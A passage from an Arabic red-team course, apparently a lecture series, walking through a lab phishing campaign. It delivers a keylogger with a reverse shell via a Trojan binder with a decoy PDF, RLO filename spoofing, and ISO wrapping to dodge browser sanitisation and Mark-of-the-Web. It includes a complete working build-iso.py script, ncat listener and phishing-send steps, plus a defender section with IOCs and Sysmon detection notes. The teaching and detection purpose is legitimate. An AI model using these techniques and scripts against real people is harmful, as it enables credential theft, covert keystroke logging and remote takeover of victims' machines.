لاحظت أنّ الحملة نجحت تقنيّاً — صدفة عكسيّة + سجلّ ضغطات — لكنّ الضحية لم ترَ شيئاً على الشاشة. ضغطت على ملف اسمه Q4-Report-2026exe.pdf، وتوقّعت تقريراً يُفتح. لا شيء ظهر. ضحية ذكيّة ستشكّ فوراً.

السبب: حملتنا الأساسيّة تستخدم keylogger_edu.exe مباشرةً — وهو حمولة خام من المحاضرة 1. كلّ ما يفعله: يُخفي نافذته، يفتح اتّصالاً عكسيّاً، ويبدأ تسجيل الضغطات. لا يوجد فيه كود يُخرج ملف PDF طُعم. ما تراه الضحية: لا شيء. هذه فجوة واقعيّة.

APT حقيقيّ يُغلق هذه الفجوة: حين الضحية تنقر، يُفتح تقرير PDF حقيقيّ (الطُعم) أمام عينيها، وفي الخلفية الحمولة تعمل بصمت. الضحية تقرأ التقرير مطمئنّةً ولا تعرف أنّ شيئاً آخر حدث.

هذا بالضبط ما يفعله الملف المربوط (Trojan Binder) من المحاضرة 2A: يضمّ keylogger_edu.exe + decoy.pdf داخل ملف واحد. عند التشغيل:

  1. يستخرج decoy.pdf إلى %TEMP% ويفتحه بـ ShellExecuteW — الضحية ترى PDF.
  2. يستخرج keylogger_edu.exe إلى %APPDATA% ويُشغّله مخفيّاً بـ CreateProcessW — الحمولة تعمل.
  3. ينتظر نصف ثانية ثمّ يخرج — العمليّتان مستقلّتان.

السيناريو B: الحملة الكاملة مع Trojan Binder (ملف مربوط + PDF طُعم)

بدل إرسال keylogger_edu.exe عارياً، سنُرسل ناتج بناء المحاضرة 2A: Report.pdf.exe — الذي يفتح PDF حقيقيّاً ويُشغّل الحمولة خلفيّاً.

المتطلّبات الإضافيّة

#العنصرمن أين
1Report.pdf.exeناتج بناء المحاضرة 2A (الملف المربوط). لو لم تبنِه بعد، عُد واتبع خطوات البناء هناك.
2pdf.icoأيقونة PDF (من المحاضرة 2A). مضمّنة داخل الـ EXE عند البناء.
3decoy.pdfأيّ ملف PDF حقيقيّ تختاره كطُعم.

الخطوة B1: نسخ الحمولة المُطوَّرة

انسخ Report.pdf.exe من مجلّد بناء المحاضرة 2A إلى مجلّد الحملة:

powershell
copy path\to\Report.pdf.exe C:\Attacks\phish-campaign\payload.exe

ملاحظة: نُعيد تسميته إلى payload.exe لأنّ send-phish.py يبحث عن هذا الاسم. الاسم المخادع (Q4-Report-2026<RLO>fdp.exe) يُبنى تلقائيّاً في ترويسة MIME — لا علاقة له باسم الملف على قرص المهاجم.

الخطوة B2: تعديل send-phish.py لاستخدام payload.exe

في الملف الأصليّ، السطر:

python
PAYLOAD_FILE = "keylogger_edu.exe"

غيّره إلى:

python
PAYLOAD_FILE = "payload.exe"

(أو سمِّ الملف keylogger_edu.exe مباشرةً — المهمّ أن يتطابق الاسم مع ما في المجلّد.)

الخطوة B3: شغّل الحملة كالمعتاد

نفس النوافذ الأربع بالضبط:

  1. Terminal 1: mailpit --smtp 0.0.0.0:1025 --listen 0.0.0.0:8025
  2. Terminal 2: ncat -lvp 4444
  3. Terminal 3 (على الـ VM): python auto-victim-bot.py
  4. Terminal 4: python send-phish.py

ماذا سيحدث الآن (مقارنة)

اللحظةالسيناريو A (keylogger مباشر)السيناريو B (Trojan Binder)
T0البريد يُرسَلالبريد يُرسَل
T0 + ≤5sالبوت يُنزّل ويُشغّل الـ EXEالبوت يُنزّل ويُشغّل الـ EXE
عين الضحيةلا شيء يظهر ← مريبPDF تقرير يُفتح ← مطمئنّ
الخلفيّةkeylogger + reverse shellkeylogger + reverse shell
T0 + ≤6sncat يتلقّى الاتّصالncat يتلقّى الاتّصال

الفرق الوحيد: في السيناريو B، الضحية ترى تقريراً حقيقيّاً ولا تشكّ. هذا هو الفرق بين هجوم يُكشَف في ثوانٍ وهجوم يبقى أسابيع.

تحقّق أنّ الطُعم عمل

بعد إطلاق send-phish.py، راقب الـ VM. خلال ثوانٍ:

  • يجب أن يُفتح قارئ PDF (Adobe Reader أو Edge) ويعرض decoy.pdf.
  • في Terminal 2 على المهاجم، يجب أن تصل الصدفة العكسيّة.

لو لم يُفتح PDF: تأكّد أنّ decoy.pdf كان موجوداً عند البناء في مجلّد المحاضرة 2A، وأنّ Report.pdf.exe بُنيَ بعده (ليتضمّن البايتات).

السيناريو C: تغليف ISO — تجاوز تنظيف المتصفّح لحيلة RLO

في السيناريو A وB، لاحظنا أنّ المتصفّح يستبدل U+202E بشرطة سفليّة عند التحميل — كسراً لحيلة RLO. البوت يتجاوز هذا لأنّه يكتب البايتات مباشرةً بـ urllib. لكن ماذا لو لم يكن هناك بوت — لو كان الهدف إنساناً يُحمّل من المتصفّح يدويّاً؟

الحلّ: تغليف الحمولة في ملف ISO.

ملف .iso هو صورة قرص (disk image). Windows 10 و11 يدعمان فتحها أصلاً بلا برامج إضافيّة: نقرة مزدوجة تُركّب الصورة كقرص افتراضيّ (مثلاً D:\). المتصفّح يعامل ملف ISO كحزمة بيانات ثنائيّة معتمة — يستطيع تنظيف اسم الـ ISO نفسه عند التحميل، لكن لا يستطيع تنظيف أسماء الملفات داخله لأنّها جزء من نظام ملفات Joliet المضمّن في الـ ISO.

النتيجة: حيلة RLO تنجو داخل الحاوية.

الخطوةما يحدث
المهاجم يبني ISObuild-iso.py يُنشئ report.iso يحتوي الحمولة باسم RLO
المهاجم يُرسل بريداًsend-phish.py يُرفق report.iso باسم Q4-Report-2026.iso (بلا RLO)
المتصفّح يُحمّليكتب Q4-Report-2026.iso إلى القرص — اسم نظيف، بلا مشكلة
الضحية تنقر ISOWindows يُركّب ← Explorer يعرض الملف الداخليّ بـ RLO: Q4-Report-2026exe.pdf
الضحية تنقر الملفالحمولة تُنفَّذ
ملاحظة تاريخيّة: تغليف الحمولات في ISO (و .img و .vhd) تقنية موثّقة في حملات حقيقيّة: Qbot, BazarLoader, IcedID. السبب الأساسيّ ليس تجاوز RLO فحسب، بل أيضاً تجاوز Mark-of-the-Web (MOTW): Windows يُضيف بصمة MOTW للملفات المُحمّلة من الإنترنت (Zone.Identifier في Alternate Data Streams)، وهذه البصمة تُفعّل تحذيرات SmartScreen عند التشغيل. لكن حتى الإصدارات الأخيرة لم تنقل هذه البصمة إلى الملفات داخل ISO مُركَّب — فالملف الداخليّ يبدو كأنّه محليّ، بلا تحذير. Microsoft عالجت هذا جزئيّاً بتحديثات أواخر 2022، لكنّ التطبيق يختلف بين إصدار وآخر، والمتّجه لا يزال فعّالاً في بيئات غير محدّثة.

المتطلّبات الإضافيّة

#العنصرمن أين
1build-iso.pyمجلّد lab/ في هذه المحاضرة. بلا pip install، بلا أدوات خارجيّة — يستدعي Windows IMAPI2.
2حمولة جاهزةkeylogger_edu.exe (سيناريو A+C) أو Report.pdf.exe/payload.exe (سيناريو B+C لإضافة PDF طُعم).

الخطوة C1: بناء ملف ISO يحتوي الحمولة بـ RLO

في مجلّد الحملة على جهاز المهاجم، انسخ build-iso.py من مجلّد lab/ أو انسخه من هنا مباشرةً. السكربت يستخدم Windows IMAPI2 — أداة حرق الأقراص المدمجة في كلّ نسخة Windows 10/11 — لبناء ISO بامتداد Joliet (يدعم Unicode). بلا pip install، بلا أدوات خارجيّة:

python
"""
build-iso.py — wraps a payload in a Joliet ISO with the RLO filename.

Uses Windows' built-in IMAPI2 COM — no pip install, no external tools.
Python copies the payload with the RLO-disguised name into a temp
folder, then calls a small PowerShell script that uses IMAPI2 to pack
it into a Joliet ISO (Unicode filenames).

Usage:    python build-iso.py

Educational use only. Run inside your Host-Only VirtualBox lab.
"""

import os
import shutil
import subprocess
import sys
import tempfile

# ─── config ────────────────────────────────────────────────
PAYLOAD = "keylogger_edu.exe"   # change to "payload.exe" for Binder
ISO_OUT = "report.iso"
RLO     = "‮"
LRM     = "‎"
INNER   = f"Q4-Report-2026{LRM}{RLO}fdp.exe"

# ─── PowerShell helper (IMAPI2 COM + C# IStream reader) ───
PS_SCRIPT = r'''
param([string]$SourceDir, [string]$OutputPath)

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Runtime.InteropServices;
using ComTypes = System.Runtime.InteropServices.ComTypes;

public class IsoWriter {
    public static void WriteStream(object comStream, string path) {
        ComTypes.IStream s = (ComTypes.IStream)comStream;
        ComTypes.STATSTG stat;
        s.Stat(out stat, 0);
        byte[] buf = new byte[stat.cbSize];
        IntPtr p = Marshal.AllocHGlobal(8);
        try { s.Read(buf, (int)stat.cbSize, p); }
        finally { Marshal.FreeHGlobal(p); }
        File.WriteAllBytes(path, buf);
    }
}
"@

$fsi = New-Object -ComObject IMAPI2FS.MsftFileSystemImage
$fsi.FileSystemsToCreate = 3   # ISO 9660 + Joliet
$fsi.VolumeName = 'REPORT'
$fsi.Root.AddTree($SourceDir, $false)
$res = $fsi.CreateResultImage()
[IsoWriter]::WriteStream($res.ImageStream, $OutputPath)
'''

# ─── build ─────────────────────────────────────────────────
if not os.path.exists(PAYLOAD):
    print(f"[!] {PAYLOAD} not found — copy it here first.")
    sys.exit(1)

tmp = tempfile.mkdtemp(prefix="iso_")
ps1 = os.path.join(tempfile.gettempdir(), f"_build_iso_{os.getpid()}.ps1")
try:
    shutil.copy2(PAYLOAD, os.path.join(tmp, INNER))

    with open(ps1, "w", encoding="utf-8") as f:
        f.write(PS_SCRIPT)

    result = subprocess.run(
        ["powershell", "-NoProfile", "-ExecutionPolicy", "Bypass",
         "-File", ps1,
         "-SourceDir", tmp,
         "-OutputPath", os.path.abspath(ISO_OUT)],
        capture_output=True, text=True,
    )
    if result.returncode != 0:
        print(f"[!] IMAPI2 error: {result.stderr.strip()}")
        sys.exit(1)

    print(f"[+] {ISO_OUT} ({os.path.getsize(ISO_OUT):,} bytes)")
    print(f"[+] inner file: {INNER!r}")
    print(f"[+] Explorer shows: Q4-Report-2026exe.pdf")
finally:
    shutil.rmtree(tmp, ignore_errors=True)
    try:
        os.remove(ps1)
    except OSError:
        pass

شغّله:

bash
python build-iso.py

النتيجة: ملف report.iso في المجلّد الحاليّ. تحقّق بـ PowerShell أنّ الاسم الداخليّ يحمل RLO:

powershell
$vol = Mount-DiskImage (Resolve-Path report.iso).Path -PassThru | Get-Volume
Get-ChildItem "$($vol.DriveLetter):\"
Dismount-DiskImage (Resolve-Path report.iso).Path

يجب أن ترى ملفاً اسمه ينتهي بـ exe.pdf في الخرج — RLO تعمل داخل الـ ISO.

الخطوة C2: تعديل send-phish.py لإرسال ISO

غيّر سطرين فقط في أعلى send-phish.py:

python
PAYLOAD_FILE   = "report.iso"             # ← ISO بدل EXE
DISGUISED_NAME = "Q4-Report-2026.iso"     # ← اسم نظيف، بلا RLO

لاحظ: لا نحتاج RLO في اسم الـ ISO نفسه. حيلة RLO محفوظة داخل الحاوية. اسم المرفق في البريد يبدو طبيعيّاً — ملف ISO عاديّ اسمه Q4-Report-2026.iso. المتصفّح لن ينظّف شيئاً لأنّه لا يوجد U+202E في الاسم الخارجيّ أصلاً.

الخطوة C3: شغّل الحملة

نفس النوافذ الأربع بالضبط:

  1. Terminal 1: mailpit --smtp 0.0.0.0:1025 --listen 0.0.0.0:8025
  2. Terminal 2: ncat -lvp 4444
  3. Terminal 3 (على الـ VM): python auto-victim-bot.py
  4. Terminal 4: python send-phish.py

البوت (auto-victim-bot.py) يدعم ملفات ISO تلقائيّاً: يُركّب الـ ISO بـ Mount-DiskImage، يبحث عن ملفات .exe بداخله، ويُشغّلها، ثمّ يفصل الـ ISO.

تجربة يدويّة (بدون البوت): افتح http://192.168.56.1:8025 في المتصفّح على الـ VM ← حمّل المرفق ← ستجد Q4-Report-2026.iso على القرص ← انقره مرّتين ← Windows يُركّب قرصاً افتراضيّاً ← ستجد بداخله ملفاً يظهر كـ Q4-Report-2026exe.pdf ← انقره. هذه التجربة اليدويّة تُثبت أنّ تجاوز المتصفّح يعمل — وهي بالضبط ما سيفعله ضحيّة حقيقيّ.

مقارنة السيناريوهات الثلاثة

اللحظةA (keylogger مباشر)B (Trojan Binder)C (ISO + أيّ حمولة)
اسم المرفق في البريدQ4-Report-2026‮fdp.exeQ4-Report-2026‮fdp.exeQ4-Report-2026.iso
تحميل عبر المتصفّحRLO يُكسر ← _fdp.exeRLO يُكسر ← _fdp.exeيعمل — ISO اسم نظيف
تحميل عبر البوتRLO يبقىRLO يبقىRLO يبقى داخل ISO
عين الضحية بعد التشغيللا شيء يظهرPDF طُعم يُفتححسب الحمولة الداخليّة
تجاوز MOTWلالانعم (في إصدارات قبل Nov 2022)
أفضل ضدّبوت / عميل بريد قديمبوت / عميل بريد قديممتصفّح حديث + إنسان
أفضل تركيبة: السيناريو B + C معاً — الحمولة هي Report.pdf.exe (Trojan Binder مع PDF طُعم) مغلَّفة في ISO. المتصفّح لا يُنظّف شيئاً (C)، والضحية ترى PDF حقيقيّاً (B). غيّر PAYLOAD في build-iso.py إلى "payload.exe" لتحقيق هذا.

ملاحظة دفاعيّة: كيف يكشف المحلّل ISO ملغوم

مؤشّرات ISO مشبوه في بيئة مؤسّسيّة:

  1. مرفق .iso / .img / .vhd في بريد داخليّ: الشركات لا تُرسل صور أقراص عبر البريد. قاعدة SIEM بسيطة: attachment.extension IN (".iso", ".img", ".vhd") → alert.
  2. حجم صغير: ISO شرعيّ (نظام تشغيل، برنامج) يكون بالغيغابايت. ISO يحتوي ملفاً واحداً بحجم ≤2 MB = مصمّم لتوصيل حمولة.
  3. محتوى واحد: ISO يحتوي ملفاً تنفيذيّاً واحداً فقط (وليس شجرة مجلّدات) ← مُصمّم للتوصيل، لا لتوزيع برنامج.
  4. MOTW مفقود: ملف .exe على القرص بلا Zone.Identifier في Alternate Data Streams ← لم يأتِ من تحميل مباشر، بل من حاوية.
  5. Bidi controls داخل الحاوية: أدوات فحص متقدّمة (7-Zip, Yara rules) تفحص أسماء الملفات داخل ISO وتكشف U+202E.

أدوات EDR المحدّثة (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) تفحص الآن داخل حاويات ISO تلقائيّاً عند التركيب وتُطبّق MOTW على الملفات المستخرجة.

✅ اختبر نفسك: القسم 6

  1. كم ثانية استغرقت الحملة من الإرسال إلى الصدفة العكسيّة في اختبارنا؟ ما القطعة الأبطأ ولماذا؟
  2. لماذا لا ترى نافذة تُفتح على الـ VM حين يُشغّل البوت الـ EXE؟
  3. لديك ملف واحد فقط (Record.txt) على الـ VM لكنّه ينمو. اقترح كيف تُخرِجه للمهاجم بلا الجلوس على الصدفة يدويّاً.
  4. لو حذفت hide() من الحمولة، ماذا سيتغيّر في تجربة الضحية؟
  5. في اختبارنا وجدنا e2 80 ae في اسم الملف على القرص. لو وجدنا c3 a2 e2 82 ac c2 ae بدلاً منه، ماذا يعني ذلك؟ (تلميح: راجع تحويلات الترميز)
  6. لماذا لا يستطيع المتصفّح تنظيف U+202E من أسماء الملفات داخل ISO عند التحميل؟ وما الفرق بين MOTW على ملف EXE مُحمَّل مباشرةً وملف EXE مستخرج من ISO مُركَّب؟

القسم 7القسم 7: من عيون الدفاع — ما يظهر في السجلّات

لنقلب النظر الآن. أنت SOC analyst في الشركة المستهدفة. صباح الاثنين، تُفتح تذكرة على مكتبك: «سلوك مشبوه على victim-vm». تبدأ التحقيق. ما الذي تراه؟

من mailpit كسجلّ mail flow

الرسالة الفعليّة موجودة كـ .eml كامل. Headers تخبرك:

text
From: hr.department@yourcompany.local
To: victim@yourcompany.local
Subject: تقرير أداء الربع الرابع — للمراجعة العاجلة
Received: from 192.168.56.1 by 192.168.56.1
Content-Disposition: attachment;
    filename*=UTF-8''Q4-Report-2026%E2%80%AEfdp.exe

السطر الأخير كافٍ وحده لفتح تحقيق:

  • Byte sequence %E2%80%AE هو ترميز URL لـ U+202E. أيّ مُحلّل مبتدئ يعرف هذه الأحرف — Bidi controls في filename = red flag.
  • عندك الاسم الحقيقيّ للملف كما هو على القرص. .exe نهاية حرفيّة.

من Sysmon على الـ VM

لو Sysmon مُشغَّل (وهو معياريّ في المؤسّسات الجادّة)، ستجد على الأقل:

Event ID 1 (Process create) ثلاث مرّات في تسلسل ضيّق:

  1. python.exe → Q4-Report-2026<RLO>fdp.exe (الابن الأوّل — البوت يُشغّل الحمولة).
  2. Q4-Report-2026<RLO>fdp.exe → cmd.exe (الحمولة تُطلق الصدفة).

Event ID 3 (Network connection):

  • Q4-Report-2026<RLO>fdp.exe يتّصل بـ 192.168.56.1:4444.

هذا التسلسل الثلاثيّ (Python → EXE بـ RLO → cmd + اتّصال خارجيّ) يُطابق قاعدة كشف قياسيّة في Splunk / Sentinel، ويُوقظ SIEM في ثوانٍ.

من Windows Event Log

Event ID 4688 (Process creation، مضمَّن بلا Sysmon):

  • CommandLine كامل، بما فيه المسار الكامل للـ EXE مع الـ RLO.

من Defender

Windows Defender مُلمّ بأنماط keylogger. في اختبارنا في مختبر Windows 11 24H2 Defender الافتراضي:

  • keylogger_edu.exe يبني بلا مشكلة، ينفّذ حين نُنزّله يدويّاً، لكن قد يُصنَّف كـ Wacatac.B!ml بعد بضعة دقائق (Machine-learning classifier).
  • الحمولة قد تعمل لدقيقة أو ثلاث قبل أن تُقتَل. كافٍ للصدفة، غير كافٍ للاستمراريّة.
  • تجاوز Defender = مادّة Phase 2 (Obfuscation, Sandbox evasion).

مؤشّرات الاختراق (IOCs) التي تخرج من هذه الحملة

لو كنتَ محلّلاً تُوثّق الحادث، ستجمع هذه:

  • Filename pattern: أيّ ملف يحتوي \u202E في اسمه.
  • Process ancestry: python.exe (أو أيّ مفسّر) يُشغّل EXE ← EXE يُشغّل cmd.exe.
  • Network: TCP outbound to any :4444 من عمليّة غير معياريّة (sqlservr.exe, notepad.exe مثلاً).
  • File on disk: Record.txt في مسار Downloads بجوار EXE مثير للشبهة.
  • SMTP: بريد بـ attachment filename يحتوي bidi controls.

هذه الخمسة معاً تُشكّل «توقيع» الحملة. تُغذّى إلى SIEM كقواعد كشف، وتصبح كلّ حملة مماثلة قابلةً للكشف تلقائيّاً.

درس Blue Team

كلّ ما بنيناه كان مصمّماً للتنكّر عن العين البشريّة (الأيقونة، الاسم، الذريعة). أمّا العين الآليّة (SIEM, EDR)، فتنظر إلى السلوك لا الشكل: من يُطلق من؟ ما الاتّصال الخارجيّ؟ ما الملف المكتوب؟ أيّ حملة تُخفي حمولتها بصريّاً بلا إخفاء سلوكها ستُكشَف. هذا ما يُميّز APT ناضج عن مبتدئ: الأوّل يعمل على الطبقتين معاً — عين الإنسان وعين الآلة.

هذا الفهم يُهيّئك لـ Phase 2: Evasion & Obfuscation، حيث الهدف الأساسيّ هو تعقيد ما يُراه SIEM، بلا تغيير ما يفعله الكود.

✅ اختبر نفسك: القسم 7

  1. ما مؤشّر IOC الأقوى في حملتنا (الذي يُوقّف الحملة قبل أن تصل الحمولة)؟
  2. لو أزلنا U+202E من اسم الملف، أيّ IOC يختفي وأيّ يبقى؟
  3. لديك كشف Sysmon على «python.exe → EXE بـ RLO». هل هو صحيح 100%؟ ما false positive محتمل؟
  4. محلّل SOC رأى Event ID 4688. أذكر ثلاث خطوات تحقيق يتّبعها.

القسم 8القسم 8: الخلاصة والجسر إلى Phase 2

وصلتَ إلى نهاية Phase 1: Red Team Foundations. لنراجع ما تعلّمته:

  • بنيت حمولة من الصفر بلغة C++ خالصة (المحاضرة 1).
  • درست ثلاث طرق توصيل — ملف مربوط، HTA، والباقيين في المحاضرة 4.
  • رسمت خريطة كلّ خطوة على MITRE ATT&CK.
  • اليوم جمعت كلّ ذلك في حملة موحّدة، مع طبقات تنكّر ثلاث (أيقونة، اسم، ذريعة)، وشغّلتها في مختبر مغلق من أوّل ضغطة إلى صدفة عكسيّة.

هذا يجعلك في المستوى الذي تستطيع فيه أن تفهم تقارير APT في CyberScoop و Mandiant وتقرأ Sample من MalwareBazaar وتقول: «آه، هذا يفعل X ثمّ Y ثمّ Z». لم تعد مستهلكاً للأخبار — أصبحت قارئاً تقنيّاً.

لكنّك ما زلت في البداية

الحمولة التي بنيت تُكشَف في دقيقة عبر Defender. لا استمراريّة عندك (persistence) — إعادة تشغيل الـ VM = فقد الوصول. الاتّصال بـ ncat بلا تشفير، أيّ IDS يراه. البريد يمرّ عبر خادم مزيّف — لا يمرّ عبر Outlook مع DKIM/DMARC/SPF فحوصات.

كلّ هذه فجوات مقصودة. Phase 2 (Evasion + Persistence + Real C2) يُغلقها واحدةً واحدة:

  • Obfuscation: تحويل keylogger_edu.exe إلى شكل لا يُطابقه أيّ توقيع Defender.
  • AMSI/ETW bypass: تعطيل واجهات الفحص التي يستعملها Defender لتفتيش سطور PowerShell.
  • Persistence: 15 طريقة مختلفة لجعل الحمولة تعمل عند كلّ إقلاع، كلّ منها بتوقيع كشف مختلف.
  • HTTPS C2: بناء خادم استقبال بـ TLS متوافق مع مواصفات CDN شرعيّ (Cloudflare tunnel، Azure Front Door)، فلا يظهر IP المهاجم لأحد.
  • Reverse-engineering defenders: قراءة قواعد Sigma الفعليّة التي تستخدمها Splunk، وبناء حمولات تدور حولها.

كلّ هذا في Phase 2. لكن لا يبدأ إلا بعد أن ترسّخ في هذه الأساسيّات. عد إلى المحاضرات 1-5 مرّةً أو مرّتين، بنِ الحملة في مختبرك من الصفر بلا اتّباع الخطوات (حاول أن تتذكّر)، ثمّ انتقل. هذا الرسوخ هو الفارق بين من يقلّد أدوات جاهزة ومن يصنعها.

✅ اختبر نفسك: خلاصة Phase 1

  1. لو سُئلت في مقابلة عمل: «اشرح لي كيف تُبنى حملة APT من الصفر»، ما الخطوات الخمس التي ستذكرها بالترتيب؟
  2. ما أضعف نقطة في حملتنا أمام EDR ناضج؟ ما القوّة؟
  3. لو أعطاك Blue Team ثلاث دقائق قبل أن يُقفلوا الوصول، أيّ ثلاث معلومات تسحبها من الصدفة العكسيّة؟

🧭 ما التالي

Phase 2: Evasion & Persistence & Command-and-Control — قريباً على iskander.sh. اشترك في القناة لتتلقّى إشعارَ الإطلاق.

حتى ذلك، تدرّب. اقرأ تقارير حديثة (APT29, Lazarus, Charming Kitten)، وفتّت كلّ حملة على نموذجك الذهنيّ: أيّ حمولة، أيّ توصيل، أيّ تنكّر، أيّ ذريعة. سترى أنماطاً تتكرّر.

وتذكّر: كلّ سطر كود كتبناه في هذا Phase صُمِّم للفهم، لا للاستعمال. من يستعمل هذا خارج المختبر يُخالف القانون، وسيُكشف تقنيّاً، وسينتهي في مكان لا يُعجب. بنينا لأنّنا نحتاج أن نفهم لنستطيع أن ندافع. تعلّم الطريق حتى تستطيع إغلاقه.